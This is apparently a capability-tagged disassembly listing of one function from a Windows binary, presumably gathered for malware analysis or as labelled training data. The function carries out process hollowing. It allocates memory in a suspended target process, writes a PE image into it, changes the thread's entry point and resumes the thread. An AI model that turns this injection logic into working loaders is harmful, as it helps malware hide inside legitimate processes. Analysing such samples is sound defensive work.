Function at 0x403fd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x2e4
mov edx, dword [esp + 0x2fc]
push edi
mov edi, ecx
lea eax, [esp + 0x18]
lea ecx, [esp + 0x14]
push eax
push ecx
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x2fc]
lea edx, [esp + 0x2c]
push ecx
push edx
push eax
mov ecx, edi
mov dword [esp + 0x20], 0xffffffff
call fcn.00403ed0
test eax, eax
je 0x4041c8
mov eax, dword [esp + 0x14]
push ebx
push ebp
mov ebp, dword [esp + 0x300]
mov ebx, dword [esp + 0x304]
push esi
mov esi, dword [esp + 0x2fc]
mov dword [esp + 0x14], 0
cmp dword [esi + 0x34], eax
jne 0x404064
mov ecx, dword [esp + 0x24]
cmp ecx, ebx
jb 0x404064
lea edx, [esp + 0x1c]
mov dword [esp + 0x14], eax
push edx
push pe_nt_image_headers32
push ecx
push eax
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
jmp 0x4040e0
cmp dword [edi], 0
je 0x40418c
mov ecx, dword [esp + 0x10]
push eax
push ecx
mov ecx, edi
call fcn.00403e80
test eax, eax
je 0x404095
mov edx, dword [esi + 0x34]
mov eax, dword [esp + 0x10]
push pe_nt_image_headers32
push 0x3000
push ebx
push edx
push eax
call dword [edi]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x4040ec
mov eax, dword [esi + 0xa0]
test eax, eax
je 0x40418c
mov eax, dword [esi + 0xa4]
test eax, eax
je 0x40418c
mov ecx, dword [esp + 0x10]
push pe_nt_image_headers32
push 0x3000
push ebx
push 0
push ecx
call dword [edi]
test eax, eax
mov dword [esp + 0x14], eax
je 0x40418c
push eax
push ebp
push esi
mov ecx, edi
call fcn.00403e40
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40418c
mov ecx, dword [esp + 0xcc]
mov edi, dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
lea edx, [esp + 0x1c]
lea eax, [esp + 0x14]
push edx
mov edx, dword [esp + 0x14]
push 4
add ecx, 8
push eax
push ecx
push edx
call edi
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
mov dword [esi + 0x34], eax
push ecx
push ebx
push ebp
push eax
push edx
call edi
test eax, eax
je 0x404178
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
cmp eax, ecx
mov dword [esp + 0x28], 0x10007
jne 0x40414f
mov eax, dword [esi + 0x28]
mov ecx, dword [esi + 0x34]
add eax, ecx
mov dword [esp + 0xd8], eax
jmp 0x40415b
mov ecx, dword [esi + 0x28]
add ecx, eax
mov dword [esp + 0xd8], ecx
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
jmp 0x4041ac
mov edx, dword [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov eax, dword [esp + 0x10]
push eax
jmp 0x40419e
mov ecx, dword [esp + 0x10]
push 0
push ecx
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [esp + 0x10], 0xffffffff
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x2e4
ret 0x18
mov eax, dword [esp + 4]
pop edi
add esp, 0x2e4
ret 0x18